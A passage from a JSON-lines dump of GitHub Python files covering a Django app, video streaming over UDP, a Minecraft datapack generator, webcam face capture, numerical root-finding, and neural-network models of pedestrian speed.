info)\n\n\nif(conn == True):\n tcp_send(sock)\n\nminimeteo_connect.mainloop()\n","repo_name":"UnaiFernandez/minimeteo","sub_path":"app/tcp_client_gui.py","file_name":"tcp_client_gui.py","file_ext":"py","file_size_in_byte":6928,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"23771445082","text":"from django.urls import path,include\nfrom . import views\n\n\nurlpatterns = [\n path('signup/', views.SignUpView.as_view(), name='signup'),\n path('verify-otp/', views.Verify_otpView.as_view(), name='verify_otp'),\n path('signin/', views.LoginView.as_view(), name='signin'),\n path(\"user//\", views.UserAvailabilityView.as_view(), name=\"user-food\"),\n path('user-profile/', views.update_user_profile, name='user-profile'),\n \n\n]\n\n","repo_name":"Amankuniyil/Foodify-Backend","sub_path":"backend/accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31637712487","text":"mushrooms = [\r\n \"crimson_fungus\",\r\n \"warped_fungus\"\r\n]\r\n\r\nsum = str()\r\n\r\nfor mushroom in mushrooms:\r\n print(mushroom)\r\n with open(f\"data/saplanting/functions/plant/nether/{mushroom}.mcfunction\", \"w\") as file:\r\n command = f\"setblock ~ ~ ~ minecraft:{mushroom} destroy\"\r\n file.write(command)\r\n file.close()\r\n sum += \"execute if entity @s[nbt={Item:{id:\\\"minecraft:%s\\\"}}] run function saplanting:plant/nether/%s\" % (mushroom, mushroom)\r\n sum += \"\\n\"\r\n\r\nwith open(\"data/saplanting/functions/plant/nether/select.mcfunction\", \"w\") as file:\r\n file.write(sum[:-1])\r\n file.close()","repo_name":"MUYUTwilighter/saplanting","sub_path":"gen_nether.py","file_name":"gen_nether.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"23532333676","text":"import cv2\nimport socket\nimport sys\nimport numpy as np\nimport struct\n\nBUF_LEN = 65540 # Bigger than the max UDP packet size\nPACK_SIZE = 4096\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nservPort = int(sys.argv[1])\nsock.bind(('', servPort))\n\nsrcAddr = \"\"\nsrcPort = total_pack = width = height = 0\n\nwhile \";;\":\n recv, srcAddr = sock.recvfrom(BUF_LEN)\n try:\n # This is the number of packets that will make the frame\n # Convert recv (# of packets) to a little endian integer\n dat = struct.unpack(' %s LIMIT 5', (embedding,))\ncursor.execute(\n 'SELECT chunk FROM wikipedia ORDER BY embedding <-> %s LIMIT 5', (embedding,))\nrows = cursor.fetchall()\n\nfor row in rows:\n print(row[0])\n print()\n\n# Close the cursor and connection\ncursor.close()\ndb_connection.close()\n","repo_name":"Paul-VS/wikipedia-vdb","sub_path":"query_db.py","file_name":"query_db.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22705406085","text":"channel = 7 # 1st ADC unfiltered\n\ngain = 15000\n\nfrom dinogame import DinoGame\n\nimport sys\nimport numpy as np\nfrom scipy import signal\nimport iir_filter\nfrom attys_scope_plugin_comm import AttysScopeReader\n\n# The high- and lowpass filters can only be set after\n# the sampling rate is known\nhpiir = False\nlpiir = False\ngame = False\nw = 2000\n\n# init the filters once we know the sampling rate\ndef callbackFs(fs):\n global hpiir,lpiir\n hpfc = 5 # highpass freq\n hpsos = signal.butter(4, hpfc/fs*2, output='sos', btype='highpass')\n lpfc = 1 # lowpass freq\n lpsos = signal.butter(2, lpfc/fs*2, output='sos')\n hpiir = iir_filter.IIR_filter(hpsos)\n lpiir = iir_filter.IIR_filter(lpsos)\n w = fs * 5\n\n# process data with the filters set up\ndef callbackData(data):\n global game,w\n v = data[channel]\n v = hpiir.filter(v)\n v = np.abs(v)\n v = lpiir.filter(v)\n v = v * gain\n l = \" \" * 40\n l = l[:20]+\"|\"+l[20:]\n x = v * 20\n if x>40:\n x = 40\n if v < 1:\n c = '>'\n if v == 1:\n c = '!'\n if v > 1:\n c = '<'\n l = l[:int(x)]+c+l[int(x):]\n print(l)\n if w > 0:\n w = w - 1\n if w < 1:\n game.start_running()\n return\n if v > 1:\n game.jump()\n\ngame = DinoGame()\n \nattysScopeReader = AttysScopeReader(callbackData,callbackFs)\nattysScopeReader.start()\n\ngame.start()\n\nattysScopeReader.stop()\n\nprint(\"Finished\")\n","repo_name":"glasgowneuro/attys-scope","sub_path":"python/plugin_dino_emg_game.py","file_name":"plugin_dino_emg_game.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"48"} +{"seq_id":"71298247186","text":"import timeit\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import curve_fit\n\n# Define the functions for O(N^3) and O(N^2)\ndef o_n3(N, a):\n return a * N**3\n\ndef o_n2(N, b):\n return b * N**2\n\ndef o_n4(N, c):\n return c * N**4\n\ndef o_n1(N, d):\n return d * N**1\n\n# Initialize lists to store runtimes and corresponding N values\nn_values = []\nexplicit_runtimes = []\nnumpy_dot_runtimes = []\n\nfor N in range (10,110,10):\n explicit = \"\"\"import numpy as np\nN = {dimension}\nC = np.zeros([N,N], float)\n\nA = np.random.randint(0,100, size =(N,N))\nB = np.random.randint(0,100, size =(N,N))\n\nfor i in range(N):\n for j in range(N):\n for k in range(N):\n C[i,j] += A[i,k]*B[k,j]\n\"\"\".format(dimension = N)\n\n numpy_dot = \"\"\"import numpy as np\nN = {dimension}\nC = np.zeros([N,N], float)\n\nA = np.random.randint(0,100, size =(N,N))\nB = np.random.randint(0,100, size =(N,N))\n\nD = np.dot(A,B)\n\"\"\".format(dimension = N)\n\n time1 = timeit.timeit(stmt=explicit, number = 10)\n time2 = timeit.timeit(stmt=numpy_dot, number = 10)\n n_values.append(N)\n explicit_runtimes.append(time1)\n numpy_dot_runtimes.append(time2)\n\n\n# Fit the data to the O(N^3) and O(N^2) functions\nparams_n4, _ = curve_fit(o_n4, n_values, explicit_runtimes)\nparams_n3, _ = curve_fit(o_n3, n_values, explicit_runtimes)\nparams_n2, _ = curve_fit(o_n2, n_values, explicit_runtimes)\nparams_n1, _ = curve_fit(o_n1, n_values, numpy_dot_runtimes)\nparams_n2_dot, _ = curve_fit(o_n2, n_values, numpy_dot_runtimes)\n\n# Extract the coefficients (a and b)\na_n3 = params_n3[0]\nb_n2 = params_n2[0]\nc_n1 = params_n1[0]\nc_n2_dot = params_n2_dot[0]\nd_n4 = params_n4[0]\n\n\nN_fit = np.linspace(min(n_values), max(n_values), 100)\nfit_n3 = o_n3(N_fit, a_n3)\nfit_n2 = o_n2(N_fit, b_n2)\nfit_n1 = o_n1(N_fit, c_n1)\nfit_n2_dot = o_n2(N_fit, c_n2_dot)\nfit_n4 = o_n4(N_fit, d_n4)\n\n# Plot the runtimes against explicit\nplt.figure(figsize=(10, 6))\nplt.plot(n_values, explicit_runtimes, label=\"Explicit\")\nplt.plot(n_values, numpy_dot_runtimes, label=\"Numpy Dot\")\nplt.plot(N_fit, fit_n3, label=\"O(N^3) Fit against explicit\")\nplt.plot(N_fit, fit_n2, label=\"O(N^2) Fit against explicit\")\nplt.plot(N_fit, fit_n4, label=\"O(N^4) fit against explicit\")\n\n# plt.plot(N_fit, fit_n1, label=\"O(n) fit against dot()\")\n# plt.plot(N_fit, fit_n2_dot, label = \"O(n^2) fit against dot()\")\n\nplt.xlabel(\"N\")\nplt.ylabel(\"Runtime (seconds)\")\nplt.title(\"Runtime Comparison for Different N Values\")\nplt.legend()\nplt.grid(True)\nplt.savefig(\"Tests.png\")\n\nplt.show()\n\n\n\n# Plot the runtimes against dot()\nplt.figure(figsize=(10, 6))\n#plt.plot(n_values, explicit_runtimes, label=\"Explicit\")\nplt.plot(n_values, numpy_dot_runtimes, label=\"Numpy Dot\")\n# plt.plot(N_fit, fit_n3, label=\"O(N^3) Fit against explicit\")\n# plt.plot(N_fit, fit_n2, label=\"O(N^2) Fit against explicit\")\n# plt.plot(N_fit, fit_n4, label=\"O(N^4) fit against explicit\")\nplt.plot(N_fit, fit_n1, label=\"O(n) fit against dot()\")\nplt.plot(N_fit, fit_n2_dot, label = \"O(n^2) fit against dot()\")\nplt.xlabel(\"N\")\nplt.ylabel(\"Runtime (seconds)\")\nplt.title(\"Runtime Comparison for Different N Values\")\nplt.legend()\nplt.grid(True)\nplt.savefig(\"Tests_dot.png\")\n\nplt.show()\n","repo_name":"mbborja/phys-ga2000","sub_path":"ps-3/problem_2.py","file_name":"problem_2.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"72090040146","text":"import cv2\nimport numpy as np\nimport os\nvid = cv2.VideoCapture(0)\ndataset = cv2.CascadeClassifier(\"data.xml\")\ni = 0\nface_list = []\nwhile True:\n ret, frame = vid.read()\n if ret:\n print(i)\n i+=1\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n faces = dataset.detectMultiScale(frame, 1.2)\n for x,y,w,h in faces:\n face = frame[y:y+h, x:x+w]\n cv2.rectangle(frame, (x,y), (x+w, y+h), (255, 255,0), 2)\n cv2.imwrite(\"face.png\", face)\n face = cv2.resize(face, (50, 50))\n face_list.append(face)\n cv2.imshow(\"result\", frame)\n if cv2.waitKey(1) == 27 or i == 70:\n break\n else:\n print(\"Camera Not Found\")\n\nfile_read = open(\"user.txt\",'r')\ni=int(file_read.read())\nnp.save(f\"faces/user_{i}.npy\", np.array(face_list))\nvid.release()\ncv2.destroyAllWindows()\ni=i+1\nfile_write = open(\"user.txt\",'w')\nfile_write.write(str(i)) \nfile_write.close()\nfile_read.close()\n\n # name_file=open(\"/Users/umesh/Desktop/Machine Learning 2/face_recognition_app/FaceApp/app/static/name.txt\",'a')\n # name_file.writelines(str(name))\n # name_file.writelines(\"\\n\")\n # name_file.close()\n\n # password1=open(\"email.txt\",'r')\n # p=password1.readlines()[5]\n # password1.close()\n # p=p.strip()\n # print(p)\n\n\n","repo_name":"siddharthdhondiyal2512/Face-Unlock-App","sub_path":"app/templates/store_faces.py","file_name":"store_faces.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29262730464","text":"from datetime import datetime\n\nimport sqlite3\n\ndate = int(datetime.now().strftime('%Y%m%d'))\n\n\nidx_id = 0\nidx_title = 1\nidx_uri = 2\nidx_date = 3\nidx_status = 4\n\nstat_check = 'checked'\nstat_downloaded = 'downloaded'\n\nfile_db = 'liked_list.db'\npath_mp3 = 'mp3/'\npath_unclassified = '{base}unclassified/'.format(base=path_mp3)\npath_classified = '{base}classified/'.format(base=path_mp3)\n\n\ntable_liked_video = 'LikedVideo'\n\nconn = sqlite3.connect(file_db)\ncursor = conn.cursor()\ncursor.execute('''CREATE TABLE IF NOT EXISTS {}(\nid INTEGER PRIMARY KEY AUTOINCREMENT,\ntitle TEXT NOT NULL,\nuri TEXT NOT NULL,\ndate INTEGER NOT NULL,\nstatus TEXT DEFAULT '{}');'''.format(table_liked_video, stat_check))\n\n\ndef get_cursor():\n return cursor\n\n\ndef add_video(title, uri):\n cursor.execute('INSERT INTO LikedVideo (title, uri, date) VALUES (?, ?, ?);',\n (title, uri, date))\n print('inserted {}'.format(title))\n\n\ndef get_videos():\n cursor.execute('SELECT * FROM {}'.format(table_liked_video))\n return cursor.fetchall()\n\n\ndef get_undownloaded_videos():\n cursor.execute(\"SELECT * FROM {} WHERE status='checked' LIMIT 10\".format(table_liked_video))\n return cursor.fetchall()\n\n\ndef get_id_by_uri(uri):\n cursor.execute(\"SELECT id FROM {} WHERE uri='{}'\".format(table_liked_video, uri))\n return cursor.fetchone()\n\n\ndef update_download_video(id):\n cursor.execute(\"UPDATE {} SET status='{}' WHERE id={}\".format(table_liked_video, stat_downloaded, id))\n print('update status id: {}'.format(id))\n\n\ndef close():\n conn.commit()\n conn.close()\n","repo_name":"Juho-Park/zuo","sub_path":"music/DAO_youtube.py","file_name":"DAO_youtube.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23147873576","text":"from decimal import getcontext, Decimal\n\nimport sympy as sp\nimport math\nfrom sympy.utilities.lambdify import lambdify\n\nx = sp.symbols('x')\n\n\ndef printRoots(rootsList):\n if None in rootsList:\n return\n for i in range(len(rootsList)):\n print(\"Root: {0} Iterations: {1}\\n\".format(rootsList[i][0], rootsList[i][1]))\n\n\ndef Bisection_Method(polynomial, start_point, end_point, epsilon):\n check = findSuspects(polynomial, start_point, end_point)\n roots = []\n\n for i in range(len(check)): # for every suspected section found\n a = check[i][0]\n b = check[i][1]\n roots.append(subBisection(a, b, polynomial, epsilon))\n\n p_prime = polynomial.diff(x)\n check = findSuspects(p_prime, start_point, end_point)\n for i in range(len(check)): # for every suspected section found\n a = check[i][0]\n b = check[i][1]\n tup = subBisection(a, b, polynomial, epsilon)\n res = polynomial.subs(x, tup[0])\n if res + epsilon >= 0 and res - epsilon <= 0:\n print(\"Root: {0} Iterations: {1}\\n\".format(0, tup[1]))\n else:\n continue\n for i in range(len(roots) - 1):\n if roots[i][0] + epsilon >= 0 and roots[i][0] - epsilon <= 0:\n del roots[i]\n\n printRoots(roots)\n\n\ndef subBisection(a, b, p, eps):\n maxIter = int(math.ceil((-1) * (math.log(eps / (b - a)) / math.log(2))))\n iter = 0\n while abs(b - a) > eps:\n if maxIter >= iter:\n iter += 1\n c = (a + b) / 2\n fa = p.subs(x, a)\n fb = p.subs(x, b)\n fc = p.subs(x, c)\n if fa * fc > 0: # ignore left section\n a = c\n else:\n b = c\n else:\n print(\"Cannot solve by bisection method!\\n\")\n return\n return (c, iter)\n\n\ndef Newton_Raphson(polynomial, start_point, end_point, epsilon):\n check = findSuspects(polynomial, start_point, end_point)\n roots = []\n p_prime = polynomial.diff(x)\n for i in range(len(check)): # for every suspected section found\n a = check[i][0]\n b = check[i][1]\n roots.append(subNewtonRaphson(a, b, polynomial, epsilon, p_prime))\n\n p_sec_prime = p_prime.diff(x)\n check = findSuspects(p_prime, start_point, end_point, )\n if None not in check:\n for i in range(len(check)): # for every suspected section found\n a = check[i][0]\n b = check[i][1]\n tup = subNewtonRaphson(a, b, polynomial, epsilon, p_sec_prime)\n res = polynomial.subs(x, tup[0])\n if res + epsilon >= 0 and res - epsilon <= 0:\n roots.append(tup)\n else:\n continue\n\n for i in range(len(roots) - 1):\n if roots[i][0] + epsilon >= 0 and roots[i][0] - epsilon <= 0:\n del roots[i]\n\n printRoots(roots)\n\n\ndef subNewtonRaphson(a, b, p, eps, p_prime):\n maxIter = int(math.ceil((-1) * (math.log(eps / (b - a)) / math.log(2))))\n iter = 0\n c = (a + b) / 2\n while True:\n if maxIter >= iter:\n iter += 1\n fc = p.subs(x, c)\n fTagC = p_prime.subs(x, c)\n prevC = c\n c = prevC - (fc / fTagC)\n if fc == 0 or abs(c - prevC) <= eps:\n return (c, iter)\n else:\n continue\n else:\n print(\"Cannot solve by Newton-Raphson method!\\n\")\n return\n\n\ndef Secant_Method(polynomial, start_point, end_point, epsilon):\n check = findSuspects(polynomial, start_point, end_point)\n roots = []\n p_prime = polynomial.diff(x)\n for i in range(len(check)): # for every suspected section found\n a = check[i][0]\n b = check[i][1]\n roots.append(subSecant(a, b, polynomial, epsilon))\n\n check = findSuspects(p_prime, start_point, end_point, )\n\n for i in range(len(check)): # for every suspected section found\n a = check[i][0]\n b = check[i][1]\n tup = subSecant(a, b, polynomial, epsilon)\n res = polynomial.subs(x, tup[0])\n if res + epsilon >= 0 and res - epsilon <= 0:\n roots.append(tup)\n else:\n continue\n\n printRoots(roots)\n\n\ndef subSecant(a, b, p, eps):\n maxIter = int(math.ceil((-1) * (math.log(eps / (b - a)) / math.log(2))))\n iter = 0\n i = 1\n nexti = 2\n while abs(nexti - i) > eps:\n if maxIter >= iter:\n iter += 1\n fi = p.subs(x, i)\n fNexti = p.subs(x, nexti)\n temp = nexti\n nexti = float(i-(fi*((nexti-i)/(fNexti-fi))))\n i = temp\n if abs(fi) <= eps:\n break\n else:\n print(\"Cannot solve by Secant Method!\\n\")\n return\n return (i, iter)\n\n\ndef findSuspects(polynomial, start, end):\n suspect = []\n sections = 0.1\n i = round(start + sections, 2)\n r1 = polynomial.subs(x, start)\n\n while i <= end:\n r2 = polynomial.subs(x, i)\n if r1 * r2 < 0:\n suspect.append((round(i - sections, 2), i))\n if r2 == 0:\n suspect.append((round(i - sections, 2), i + sections))\n r1 = r2\n i = round(i + sections, 2)\n\n floatList = []\n for i in range(len(suspect)):\n floatList.append((float(suspect[i][0]), float(suspect[i][1])))\n return floatList\n\n\ndef applyMethod(polynomial, start, end, epsilon):\n print(\"choose method:\\n1.Bisection Method\\n2.Newton-Raphson Method\\n3.Secant Method\")\n method = input()\n if method == 1:\n Bisection_Method(polynomial, start, end, epsilon)\n elif method == 2:\n Newton_Raphson(polynomial, start, end, epsilon)\n else:\n Secant_Method(polynomial, start, end, epsilon)\n\n\ndef main():\n polynomial = x ** 3 - x - 1\n start = 1\n end = 2\n epsilon = 0.0001\n applyMethod(polynomial, start, end, epsilon)\n\n\nmain()\n","repo_name":"AviyaDavid/numericAnalysis","sub_path":"Task4.py","file_name":"Task4.py","file_ext":"py","file_size_in_byte":5904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37472715223","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nfrom typing import Union, Tuple\nfrom fd_model_nn import FD_Network\nimport nn_utilities\nfrom nn_utilities import *\n\n\ndef read_data(path: Union[pd.DataFrame, str]) -> pd.DataFrame:\n \"\"\"\n Reads the data form the given file path\n :param path: path of the file containing the data or a pandas Dataframe. In the last case, the func simply returns this parameter\n :return: a pandas dataframe containing the data\n \"\"\"\n # if path is already a dataframe, return it\n # (so the function is callable without checking if you have a path or the dataframe itself already)\n if isinstance(path, pd.DataFrame):\n return path\n # otherwise read the data and return the dataframe\n col_names = [\"ID\", \"FRAME\", \"X\", \"Y\", \"Z\"]\n data = pd.read_csv(path, sep=\" \", header=None, names=col_names)\n # scale the coordinates between 0 and 1\n # scaler = MinMaxScaler()\n # data['X'] = scaler.fit_transform(np.expand_dims(data['X'], 1))\n # data['Y'] = scaler.fit_transform(np.expand_dims(data['Y'], 1))\n # drop Z coordinate\n data.drop(labels='Z', inplace=True, axis=1)\n # scale X and Y\n data['X'] = data['X'] / 100\n data['Y'] = data['Y'] / 100\n return data\n\n\ndef read_dataset(path: str, fd_training=False) -> (np.ndarray, np.ndarray):\n \"\"\"\n Read the complete dataset to be fed to the NN\n :param path: path of the pickle file containing the dataset\n :param fd_training: if True keep also k nearest neighbour for input, False leaves only mean spacing for FDNetwork\n :return: data and targets in the form of 2 numpy ndarrays\n \"\"\"\n dataset = pd.read_pickle(path)\n targets = dataset[['SPEED']].to_numpy()\n mean_spacing = dataset[['MEAN_SPACING']].to_numpy()\n if not fd_training:\n knn_relative_positions = dataset['KNN_RELATIVE_POSITIONS'].to_numpy()\n # join the mean spacing with the knn_relative_positions\n data = np.empty(shape=(len(dataset), len(knn_relative_positions[0]) + 1))\n for i in range(len(dataset)):\n row = np.concatenate((mean_spacing[i], knn_relative_positions[i].flatten()))\n data[i, :] = row\n return data, targets\n return mean_spacing.astype(float), targets.astype(float)\n\n\ndef plot_fd_and_original(data_path: str, plot_title: str = \"\", fd_epochs: int = 50, test_data=None, test_targets=None, run_eagerly=False, verbose=1):\n \"\"\"\n Plots the observed speeds and the ones predicted by the FD model, depending on the mean spacing\n :param data_path: path of the file containing the data\n :param plot_title: title of the plot\n :param fd_epochs: number of epochs of training for the FD\n :param test_data: test data\n :param test_targets: targets for the test data\n :param run_eagerly: parameter to pass at tensorflow's fit method (used to access some of the model's outputs)\n :param verbose: level of verbosity to be passed at tensorflow's fit method\n :return fd trained model\n \"\"\"\n fd_data, fd_targets = read_dataset(data_path, fd_training=True)\n\n # to stop the computation when model is at its cap\n callback = EarlyStopping(monitor='loss', patience=10) # default on val_loss\n\n # train the FD model\n model = FD_Network()\n model.compile(optimizer='adam', loss='mse', run_eagerly=run_eagerly)\n model.fit(x=fd_data, y=fd_targets, epochs=fd_epochs, verbose=verbose, callbacks=[callback])\n\n # generate the FD speeds with prediction\n stop = np.max(fd_data) * 1.5\n mean_spacings = np.expand_dims(np.linspace(start=0.5, stop=stop, num=1000), axis=1)\n if test_data is not None:\n mean_spacings = test_data\n fd_speeds = model.predict(x=mean_spacings)\n if test_targets is not None:\n model.mse = np.mean((fd_speeds - test_targets) ** 2)\n\n # plot the FD prediction over the observations\n plt.plot(mean_spacings, fd_speeds, c='orange') # fd model data\n plt.scatter(fd_data, fd_targets, s=1) # original data\n plt.xlabel(\"Mean spacing\")\n plt.ylabel(\"Speed\")\n plt.title(plot_title)\n plt.show()\n return model\n\n\ndef plot_fd_and_speeds(data_path: str, plot_title: str = \"\", fd_epochs: int = 50, nn_epochs: int = 50, hidden_dims: Tuple[int] = (3,),\n hidden_activation_func: str = \"sigmoid\", dropout=-1, training_plots: bool = True, run_eagerly=False, verbose=1):\n \"\"\"\n Plots the speeds predicted by the network and the FD curve depending on the mean spacing\n :param data_path: path of the file containing the data\n :param plot_title: title of the plot\n :param fd_epochs: number of epochs of training for the FD\n :param nn_epochs: number of epochs of training for the NN\n :param hidden_dims: tuple containing the dimensions of the hidden layers of the NN\n :param training_plots: if True, plots the training curves of the FD and NN\n :param hidden_activation_func: activation function for the hidden layers\n :param dropout: value of dropout to add after each Dense layer. If -1, no dropout is added\n :param run_eagerly: parameter to pass at tensorflow's fit method (used to access some of the model's outputs)\n :param verbose: level of verbosity to be passed at tensorflow's fit method\n :return nn model for predicting speeds and model for approximating Weidmann\n \"\"\"\n fd_data, fd_targets = read_dataset(data_path, fd_training=True)\n nn_data, nn_targets = read_dataset(data_path, fd_training=False)\n\n # to stop the computation when model is at its cap\n callback = EarlyStopping(monitor='loss', patience=10) # default on val_loss\n\n # train the speed predictor neural network\n print(\"Training the NN model..\")\n nn = create_nn(hidden_dims, dropout=dropout)\n nn.compile(optimizer='adam', loss='mse')\n hist = nn.fit(x=nn_data, y=nn_targets, epochs=nn_epochs, callbacks=[callback], verbose=verbose)\n loss_nn = hist.history['loss']\n\n # create the speed for FD to learn\n nn_speeds = nn.predict(x=nn_data)\n\n # train the FD model\n print(\"Training the FD model..\")\n model = FD_Network()\n model.compile(optimizer='adam', loss='mse')\n hist = model.fit(x=fd_data, y=nn_speeds, epochs=fd_epochs, callbacks=[callback], run_eagerly=run_eagerly, verbose=verbose)\n loss_fd = hist.history['loss']\n\n # training plots\n if training_plots:\n fig, ax = plt.subplots(nrows=1, ncols=2, figsize=(8, 5))\n # FD\n ax[0].plot(loss_fd)\n ax[0].set_title(\"FD training\")\n ax[0].set_xlabel(\"Epochs\")\n ax[0].set_ylabel(\"MSE\")\n # NN\n ax[1].plot(loss_nn, c='red')\n ax[1].set_title(\"NN training\")\n ax[1].set_xlabel(\"Epochs\")\n ax[1].set_ylabel(\"MSE\")\n fig.show()\n\n # plot\n stop = np.max(fd_data) * 1.5\n mean_spacings = np.expand_dims(np.linspace(start=0.5, stop=stop, num=1000), axis=1)\n fd_speeds = model.predict(x=mean_spacings)\n fig, ax = plt.subplots(1, 1)\n ax.plot(mean_spacings, fd_speeds, c='orange')\n ax.scatter(nn_data[:, 0], nn_speeds, s=1, c='red')\n ax.set_xlabel(\"Mean spacing\")\n ax.set_ylabel(\"Speed\")\n fig.suptitle(plot_title)\n plt.show()\n\n return nn, model\n\n\ndef get_all_result_data(results):\n tr_mean = []\n tr_std = []\n val_mean = []\n val_std = []\n test_mean = []\n test_std = []\n for key in results.keys():\n tr_mean.append(results[key]['tr'][0])\n tr_std.append(results[key]['tr'][1])\n val_mean.append(results[key]['val'][0])\n val_std.append(results[key]['val'][1])\n test_mean.append(results[key]['test'][0])\n test_std.append(results[key]['test'][1])\n return tr_mean, tr_std, val_mean, val_std, test_mean, test_std\n\n\ndef plot_results(results, tr_mean, tr_std, val_mean, val_std, test_mean, test_std, plot_val=False, title=\"\"):\n fig, ax = plt.subplots()\n ax.fill_between(range(len(tr_std)), [tr_mean[i] + tr_std[i] for i in range(len(tr_std))], [tr_mean[i] - tr_std[i] for i in range(len(tr_std))],\n alpha=0.2, color='orange')\n ax.plot(tr_mean, label='training_loss', c='orange')\n ax.scatter(range(len(tr_mean)), tr_mean, c='orange')\n\n if plot_val:\n ax.fill_between(range(len(val_std)), [val_mean[i] + val_std[i] for i in range(len(val_std))],\n [val_mean[i] - val_std[i] for i in range(len(val_std))], alpha=0.2)\n ax.plot(val_mean, label='validation_loss')\n ax.scatter(range(len(val_mean)), val_mean, c='blue')\n\n ax.fill_between(range(len(test_std)), [test_mean[i] + test_std[i] for i in range(len(test_std))],\n [test_mean[i] - test_std[i] for i in range(len(test_std))], alpha=0.2, color='red')\n ax.plot(test_mean, label='testing_loss', c='red')\n ax.scatter(range(len(test_mean)), test_mean, c='red')\n plt.legend()\n ax.set_ylabel('MSE')\n ax.set_xlabel('model conf')\n ax.set_xticks(range(len(results.keys())), labels=results.keys())\n plt.title(title)\n plt.show()\n\n\ndef _get_data_for_train_both_models(base_path, task_data, train: bool):\n \"\"\"\n Internal usage function, called from 'train_both_models' to get the training/testing data\n :param base_path: path of the directory containing the data\n :param task_data: name of the task in order to get the correct file (part of the file's path)\n :param train: if true -> training data; if false -> testing data\n \"\"\"\n X_t, y_t = None, None\n fd_x_t = None\n for data in task_data:\n path = base_path + f\"train_{data}_data\"\n try:\n f = open(path)\n except IOError:\n create_and_save_training_testing_data(data, base_path)\n\n X_train, y_train, X_test, y_test = read_train_test(data, base_path)\n if train:\n X = X_train\n y = y_train\n else:\n X = X_test\n y = y_test\n fd_x = X[:, 0].reshape(-1, 1)\n\n if X_t is None:\n X_t = X\n y_t = y\n fd_x_t = fd_x\n else:\n X_t = np.concatenate((X_t, X), axis=0)\n y_t = np.concatenate((y_t, y), axis=0)\n fd_x_t = np.concatenate((fd_x_t, fd_x), axis=0)\n\n X, y, fd_x = X_t, y_t, fd_x_t\n return X, y, fd_x\n\n\ndef train_both_models(task_train, task_test):\n \"\"\"\n Perform fitting of the FD model and training of the NN\n :param task_train: name of the task, as part of the path to the correct training data file (see nn_utilities.bootstrapped_cv)\n :param task_test: name of the task, as part of the path to the correct testing data file (see nn_utilities.bootstrapped_cv)\n :return: the losses of the NN, the FD fitted on the observed speeds and the losses of the FD fitted on the speeds predicted by the NN\n \"\"\"\n base_path = \"../data/training_data/\"\n X_train, y_train, fd_x_train = _get_data_for_train_both_models(base_path=base_path, task_data=task_train, train=True)\n X_test, y_test, fd_x_test = _get_data_for_train_both_models(base_path=base_path, task_data=task_test, train=False)\n\n # train fd\n model = FD_Network()\n fd_losses = bootstrapped_cv(hidden_dims=None, data=fd_x_train, targets=y_train, test_data=fd_x_test, test_targets=y_test,\n kfolds=5, epochs=1000, batch_size=32, n_bootstraps=5, bootstrap_dim=5000, model=model)\n # train speed nn\n hidden_dims = (3,)\n nn_losses = bootstrapped_cv(hidden_dims=hidden_dims, data=X_train, targets=y_train, test_data=X_test, test_targets=y_test,\n kfolds=5, epochs=1000, batch_size=32, n_bootstraps=5, bootstrap_dim=5000)\n\n # once we have the selection stats, train an nn on the whole train to give predictions needed for FD model training\n nn = create_nn(hidden_dims, dropout=-1)\n nn.compile(optimizer='adam', loss='mse')\n # to stop the computation when model is at its cap\n callback = EarlyStopping(monitor='loss', patience=10) # default on val_loss\n nn.fit(x=X_train, y=y_train, epochs=1000, callbacks=[callback], verbose=0)\n fd_nn_prediction_speeds = nn.predict(x=X_train)\n\n # train fd\n model = FD_Network()\n fd_prediction_losses = bootstrapped_cv(hidden_dims=None, data=fd_x_train, targets=fd_nn_prediction_speeds, test_data=fd_x_test,\n test_targets=y_test, kfolds=5, epochs=1000, batch_size=32, n_bootstraps=5, bootstrap_dim=5000,\n model=model)\n return nn_losses, fd_losses, fd_prediction_losses\n\n\ndef svd(data: Union[np.ndarray, pd.DataFrame], center=False):\n \"\"\"\n Compute the Singular Value Decomposition (SVD) of the \"data\"\n :param data: data to compute the SVD of\n :param center: if True, center the data before performing SVD\n :returns: the 3 matrices forming the SVD decomposition of \"data\"\n \"\"\"\n # make the data a numpy ndarray (if it isn't already)\n if isinstance(data, pd.DataFrame):\n data = data.to_numpy()\n\n # center the data by removing the mean\n if center:\n data = data - np.mean(data, axis=0)\n\n # decompose the data through SVD decomposition\n U, singular_values, Vt = np.linalg.svd(data) # note that V is already transpose\n # starting from a vector containing the singular values, create the S matrix\n S = np.vstack((\n np.diag(singular_values),\n np.zeros(shape=(data.shape[0] - len(singular_values), len(singular_values)))\n ))\n return U, S, Vt.T, singular_values\n\n\ndef train_nn_on_pca_data(base_data_path: str, task: str, energy_perc: float, bootstrap_dim: int, hidden_dims: Tuple[int] = (3,), kfolds: int = 5,\n epochs: int = 100, batch_size: int = 32, n_train_data: int = None, n_test_data: int = None, n_bootstraps: int = 5) -> Tuple[dict, dict]:\n \"\"\"\n Compute PCA and then train the NN in the PCA space\n :param base_data_path: path of the original data\n :param task: \"corridor\" / \"bottleneck\" with their dimension -> part of the path of the data\n :param energy_perc: percentage of energy to retain after the PCA\n :param bootstrap_dim: dimension of the bootstrap subsamples\n :param hidden_dims: tuple containing the dimensions of the hidden layers of the NN\n :param kfolds: number of folds for the cross-validation\n :param epochs: number of epochs\n :param batch_size: size of the minibatches\n 